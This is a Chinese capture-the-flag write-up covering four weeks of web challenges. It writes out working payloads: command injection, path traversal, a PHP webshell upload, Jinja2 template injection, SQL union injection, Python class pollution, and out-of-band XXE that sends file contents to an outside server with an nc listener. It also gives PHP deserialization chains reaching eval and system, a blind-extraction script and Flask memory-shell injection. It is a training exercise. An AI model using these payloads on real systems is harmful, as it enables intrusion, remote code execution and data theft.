第一次打的比赛
[Week1] Gitttttttt
题目明显提示为git漏洞,所以我们直接使用Githack,输入payload
python githack.py http://challenge.ilovectf:xxxxx/.git/
即可获得一个.txt文件
打开即可获得flag

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[Week1] Ping??
打开网址后是这样一个界面

我们首先输入127.0.0.1尝试,回显为
然后输入127.0.0.1|ls,回显为

接着输入127.0.0.1|cat /flag.txt,回显含有敏感信息,那么我们使用通配符尝试。
127.0.0.1|cat f*,成功获得flag:
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[Week1] from_http
打开网站后说用?CTFBrowser浏览器访问,所以我们在hackbar中修改UA为?CTFBrowser


然后叫我传参,所以我在url后加上了 ?welcome=to
又叫我post传参,然后我便post the=?CTF
接着修改 Cookie:wishu=happiness
添加 Referer:?CTF,得到
然后我们用 X-Forwarded-For伪造ip,得到flag

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[Week1] secret of php

在附件中发现Flll4g.php,我们直接访问http://challenge.ilovectf.cn:30819/Flll4g.php得到

接着我post a=240610708&b=QLTHNDT,过了第一关

接着我post以下参数与值,得到flag
aa=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
&bb=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
&aaa=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
&bbb=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[Week1] 前端小游戏
此题说是前端小游戏,所以我F12打开查看页面源码,发现疑似flag的base64字符串
将其放到Cyberchef中转化得到flag

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[Week1] 包含不明东西的食物?!

这是进入页面的样子,我随便输入一个 flag.txt后, 回显为
查看页面源码后,发现flag就在flag.txt中
所以我尝试路径遍历,输入/../../../../flag.txt,成功获取flag
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[Week2] Look at the picture
通过路由www.zip获取到源码,发现php://filter没有被禁用,而base64被禁用,所以最终payload为
php://filter/convert.utf-8.utf-16/resource=/flag
得到flag:
flag{Y0U_gE7_7HE_Fi1ter}
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[Week2] Only Picture Up
这是个文件上传漏洞题,我发现将文件后缀改为.png便可上传一句话木马,
所以我新建了.txt文件,内容为,然后命名为1.png,上传成功
点击preview,再在url中加上&x=system(‘ls /’);列出根目录的文件,即
http://F/?preview=1.png&x=system('ls /');
回显为
发现flag目录:FL4g94。
然后我们修改x值为system(‘cat /FL4g94’);,便可得到flag:
flag{a0638f77-7cb6-408e-ae7e-c94471e36c8f}
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[Week2] Regular Expression

第一关是正则表达式的匹配,且长度要为40,所以我最终参数
?=-ctf<%0A>>>>>h12!!!!!!!!!!@email.com%20flaga
进入第二关,需要preg的值匹配题中字符串,且preg长度大于77.
最终preg=Please\%20777[abcdefghijklmnopqrstuvwxyz][abcdefghijklmnopqrstuvwxyz][abcdefghijklmnopqrstuvwxyz][abcdefghijklmnopqrstuvwxyz]\W%2bme\W%2bFlaggg0
得到flag
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[Week2] 留言板
题目简介中提到jinjia2,所以我输入{{7*7}}测试,发现为jinja2模板引擎
由源码可知,此题留言内容参数为message,传输到/ssti路由。
然后我便构造基本payload
{{[].__class__.__base__.__subclasses__()[156].__init__.__globals__.popen('ls').read()}}
发现引号被过滤,所以我们修改payload为
{{[].__class__.__base__.__subclasses__()[156].__init__.__globals__.popen(request.args.cmd).read()}}
然后在url末尾加上?cmd=ls /,得到
发现flag,所以最终?cmd=tac /flag,得到flag
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[Week2] 登录和查询

获取字典

burp抓包,导入字典爆破密码
发现密码为admin123
然后传参
?id=' union select group_concat(flag),null,null from flags --+

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[Week2] 这是什么函数
在本题源码中,我们可以看到有个/pollute路由,接着通过我上网查找,发现这是一个原型链污染题型。
“简单的说呢,其实就是我们对原链中的某个属性进行了污染,向其中插入恶意代码,当我们再调用这个链(也就是使用这个对象)时,我们的恶意代码就会被触发,此时就达到了一个执行恶意代码的效果。”
我用dirsearch扫出了/src和/flag,以下是/src下的网页,
from flask import Flask, request, render_template
import json
app = Flask(__name__)
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False
class cls():
def __init__(self):
pass
instance = cls()
cat = "where is the flag?"
dog = "how to get the flag?"
@app.route('/', methods=['GET', 'POST'])
def index():
return render_template('index.html')
@app.route('/flag', methods=['GET', 'POST'])
def flag():
with open('/flag', 'r') as f:
flag = f.read().strip()
if cat == dog:
return flag
else:
return cat + " " + dog
@app.route('/src', methods=['GET', 'POST'])
def src():
return open(__file__, encoding="utf-8").read()
@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
if request.is_json:
merge(json.loads(request.data), instance)
else:
return "fail"
return "success"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
可以看见当cat==dog时,可以在/flag下获取flag。那么要怎么做呢?
题目是原型链污染,那就是说我们要从/pollute下污染原型链,使cat与dog的值相等,使/flag中显示flag。
首先看/pollute页面,首先post传入的值需要是json格式,比如{“example”:“haha”},然后就会调用到merge函数。merge函数的作用是合并输入的json格式内容与instance。我们先通过__init__找到函数对象,然后通过__globals__访问全局变量,也就是原型链,最后修改cat和dog的值,也就是通过原型链污染修改全局变量,使其相等,最后的payload就是{“__init__”:{“__globals__”:{“cat”:“same”,“dog”:“same”}}},然后就能得到flag了。
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[Week3] 查查忆
查看源码可发现

既然题目说了是xxe,那么就直接打xxe,最基础的xxe payload如下:
页面payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANYTHIN [
<!ENTITY % aaa SYSTEM "http://vps-ip:port1/1.dtd">
%aaa;
]>
1.dtd内容:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/f1111llllaa44g">
<!ENTITY % dtd "<!ENTITY % vps SYSTEM 'http://vps-ip:port2/%file;'> ">
%dtd;
%vps;
然后在自己的服务器中(公网)打开两个命令行(dtd文件在哪就在哪里打开),在第一个命令行中输入:
python -m http.server <port1>
在第二个命令行中输入:
nc -lvp <port2>
输入payload点击查询后,发现无法xxe

那肯定是过滤了某些关键词,经过一番尝试,我发现被过滤了,那么就得想办法绕过。
我首先想到的是用xml注释把关键词分隔,但是这样在语法上时行不通的,那还有什么办法呢?我们发现xml第一行有个encoding=“xxx”,那么我们将dtd部分转化为其他格式不就行了。我上网搜索了一下发现用的多的是utf-7,那么我们将正文内容转化为utf-7编码即可。
cat 1.xml | iconv -f utf-8 -t utf-7 > payload.xml
<?xml version="1.0" encoding="utf-7"?>
+ADwAIQ-DOCTYPE ANYTHING +AFs
+ADwAIQ-ENTITY +ACU aaa SYSTEM +ACI-http://47.118.31.122:9023/2.dtd+ACIAPg
+ACU-aaa+ADs
+AF0APg-
将这段payload填入即可


base64解码后便可获取flag:
flag{cb2e90bc-de2f-41a6-9627-e28e4c49b05a}
🚀最后谈谈为什么需要使用base64编码回显flag。我的payload最终flag回显在我dtd文件中写的%file的位置,而%file又是在dtd中。首先我们要知道,DTD在SYSTEM标识符中对字符极为敏感,< > & ” ’ \n 等字符会直接破坏DTD解析,因此需要将 flag 编码为仅包含安全字符的形式。flag中可能含有各种字符,比如{}&@!?-等,所以我们最好是使用base64编码flag后再回显。然后谈谈内部xxe,内部xxe最终flag显示位置再正文文本中,就比如这个payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANYTHING [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<aaa>&xxe;</aaa>
这个最终flag回显在正文部分,所以是安全的,无需base64编码。
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[Week3] 魔术大杂烩
<?php
highlight_file(__FILE__);
error_reporting(0);
class Wuhuarou{
public $Wuhuarou;
function __wakeup(){
echo "Nice Wuhuarou!</br>";
echo $this -> Wuhuarou;
}
}
class Fentiao{
public $Fentiao;
public $Hongshufentiao;
public function __toString(){
echo "Nice Fentiao!</br>";
return $this -> Fentiao -> Hongshufentiao;
}
}
class Baicai{
public $Baicai;
public function __get($key){
echo "Nice Baicai!</br>";
$Baicai = $this -> Baicai;
return $Baicai();
}
}
class Wanzi{
public $Wanzi;
public function __invoke(){
echo "Nice Wanzi!</br>";
return $this -> Wanzi -> Xianggu();
}
}
class Xianggu{
public $Xianggu;
public $Jinzhengu;
public function __construct($Jinzhengu){
$this -> Jinzhengu = $Jinzhengu;
}
public function __call($name, $arg){
echo "Nice Xianggu!</br>";
$this -> Xianggu -> Bailuobo = $this -> Jinzhengu;
}
}
class Huluobo{
public $HuLuoBo;
public function __set($key,$arg){
echo "Nice Huluobo!</br>";
eval($arg);
}
}
if (isset($_POST['eat'])){
unserialize($_POST['eat']);
}
这是一串php代码,可见这是php反序列化漏洞题。在最后的Huluobo中可以发现”eval”,可以通过它执行php代码。那么我们的目标就是通过构造pop链直到eval。由于序列化只关注对象的属性与值,所以我们将其function去除,得到下面一串php代码。
<?php
class Wuhuarou{
public $Wuhuarou;
}
class Fentiao{
public $Fentiao;
public $Hongshufentiao;
}
class Baicai{
public $Baicai;
}
class Wanzi{
public $Wanzi;
}
class Xianggu{
public $Xianggu;
public $Jinzhengu;
}
class Huluobo{
public $HuLuoBo;
}
$a = new Huluobo();
$b = new Xianggu();
$b -> Jinzhengu = "system('cat /flag');";
$b -> Xianggu = $a;
$c = new Wanzi();
$c -> Wanzi = $b;
$d = new Baicai();
$d -> Baicai = $c;
$e = new Fentiao();
$e -> Fentiao = $d;
$f = new Wuhuarou();
$f -> Wuhuarou = $e;
echo urlencode(serialize($f));
?>
🚀我来具体讲讲这个pop链是如何构造出来的。
①从Huluobo类开始,里面有个魔术方法是__set(),是当给一个不可访问或不存在的对象赋值时自动触发,浏览所有类发现在Xianggu类中存在这个事件
$this -> Xianggu -> Bailuobo = $this -> Jinzhengu;
Bailuobo对象不存在,而且还给它赋值,所以会触发__set();__set($key,$arg)中,$key=Bailuobo的值,$arg=Jinzhengu的值
②然后走到Xianggu类中看__construct()是创建新类时自动触发,这里用不到,我们看__call(),它是当调用一个不存在的方法时自动触发的魔术方法,发现在Wanzi类中存在此事件
class Wanzi{
public $Wanzi;
public function __invoke(){
echo "Nice Wanzi!</br>";
return $this -> Wanzi -> Xianggu();
}
}
Xianggu()方法不存在,故会触发__call();
③在Xianggu类中,有__invoke()魔术方法,它是当一个对象被当作函数调用时自动触发,发现Baicai类中有此事件
class Baicai{
public $Baicai;
public function __get($key){
echo "Nice Baicai!</br>";
$Baicai = $this -> Baicai;
return $Baicai();
}
}
Baicai存在且被当作函数调用,所以会触发__call();
④现在走到Baicai类中,有__get(),它是当调用一个不存在或不可访问的对象时自动触发,发现Fentiao类中可存在此事件
class Fentiao{
public $Fentiao;
public $Hongshufentiao;
public function __toString(){
echo "Nice Fentiao!</br>";
return $this -> Fentiao -> Hongshufentiao;
}
}
当我们不给Hongshufentiao赋值时,他就是不存在的。最后调用时就会触发__get();
⑤在Fentiao类中,有个__toString(),它是当一个对象被当作字符串输出时自动触发,而echo便能做到此事,在Wuhuarou类中存在
class Wuhuarou{
public $Wuhuarou;
function __wakeup(){
echo "Nice Wuhuarou!</br>";
echo $this -> Wuhuarou;
}
}
echo $this -> Wuhuarou是将此类中的Wuhuaruo对象当作字符串输出,故会触发__toString();
⑥Wuhuarou类中有__wakeup()方法,它是当对象被反序列化之后自动调用这个方法,而unserialize便可以做到。到此,pop链便可构造出来。
成功获取flag
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[Week3] 这又是什么函数
扫路由扫到/src,进入直接看到源码
from flask import Flask, request, render_template
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
return render_template('index.html')
@app.route('/doit', methods=['GET', 'POST'])
def doit():
e = request.form.get('e')
try:
eval(e)
return "done!"
except Exception as e:
return "error!"
@app.route('/src', methods=['GET', 'POST'])
def src():
return open(__file__, encoding="utf-8").read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
可发现在/doit路由下,post参数e可执行一句python代码,那么这里便有两种做法,一种是布尔盲注,一种是内存马注入。先试试第一种,以下是poc,可以直接注出flag
import requests
url = "http://challenge.ilovectf.cn:30009/doit"
flag='flag{'
ch = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-@&?!"
for i in range(5,50):
for c in ch:
payload = f"print(1) if open('/flag').read()[{i}]=='{c}' else 1/0"
resp = requests.post(url,data={'e':payload})
if 'done!' in resp.text:
flag+=c
print("flag:",flag)
break
else:
break
print("RESULT:",flag,"}")
另一个就是内存马,payload为:
e=app.view_functions.__setitem__('index', lambda:open('/flag').read())
'''
eval("app.view_functions.__setitem__('index', lambda:open('/flag').read())")相当于
exec("app.view_functions['index']=lambda:open('/flag').read()")
其中app也可以替换为:
__import__('sys').modules['__main__'].__dict__['app'],也就是获取app对象
'''
回到主页面便可发现flag。这个payload相当于是直接篡改flask的路由表,’/‘路由在python中基本上是使用index
@app.route('/')
def index(): //若这里的index是abc,那么payload中的index就是abc,二者需保持一致
return "hello world"
这个payload也可以:
e=app.before_request_funcs.setdefault(None,[]).append(lambda:__import__('os').popen(request.args.get('cmd')).read())
#post之后传参cmd=cat /flag即可获取flag
#这里app也可以用__import__('sys').modules['__main__'].__dict__['app']替换
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[Week4] Path to Hero
<?php
highlight_file('index.php');
Class Start
{
public $ishero;
public $adventure;
public function __wakeup(){
if (strpos($this->ishero, "hero") !== false && $this->ishero !== "hero") {
echo "<br>勇者啊,去寻找利刃吧<br>";
return $this->adventure->sword;
}
else{
echo "前方的区域以后再来探索吧!<br>";
}
}
}
class Sword
{
public $test1;
public $test2;
public $go;
public function __get($name)
{
if ($this->test1 !== $this->test2 && md5($this->test1) == md5($this->test2)) {
echo "沉睡的利刃被你唤醒了,是时候去讨伐魔王了!<br>";
echo $this->go;
} else {
echo "Dead";
}
}
}
class Mon3tr
{
private $result;
public $end;
public function __toString()
{
$result = new Treasure();
echo "到此为止了!魔王<br>";
if (!preg_match("/^cat|flag|tac|system|ls|head|tail|more|less|nl|sort|find?/i", $this->end)) {
$result->end($this->end);
} else {
echo "难道……要输了吗?<br>";
}
return "<br>";
}
}
class Treasure
{
public function __call($name, $arg)
{
echo "结束了?<br>";
eval($arg[0]);
}
}
if (isset($_POST["HERO"])) {
unserialize($_POST["HERO"]);
}
这是题目源码,可以发现在Treasure类中有可RCE的地方,也就是eval($arg[0])。
①Treasure类中存在__call($name,$arg[0]),发现在Mon3tr类中有调用不存在的方法end(),所以可触发;其中arg[0]的值就是end的值。
②Mon3tr类中,发现end存在关键词过滤,其中几乎所有可获取flag的命令执行语句,这里我想到有两种方法,一种是用base64编码绕过,另一种是使用passthru('grep fla /f*');然后可触发此类中__toString()方法的是Sword类中的echo $this -> go;
③Sword类中的__get()又可由Start类中的return $this->adventure->sword; 触发。至此,pop链形成
<?php
class Start
{
public $ishero;
public $adventure;
}
class Sword
{
public $test1;
public $test2;
public $go;
}
class Mon3tr
{
public $end;
}
$b = new Mon3tr();
$cmd = "system('cat /flag');";
$b64_cmd = base64_encode($cmd);
$b -> end = "eval(base64_decode(\"$b64_cmd\"));";
/*或者这种写法
$b = new Mon3tr();
$b -> end = "passthru('grep fla /f*');";
*/
$c = new Sword();
$c -> test1 = "TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak";
$c -> test2 = "TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak";
$c -> go = $b;
$d = new Start();
$d -> ishero = "hero123";
$d -> adventure = $c;
echo urlencode(serialize($d));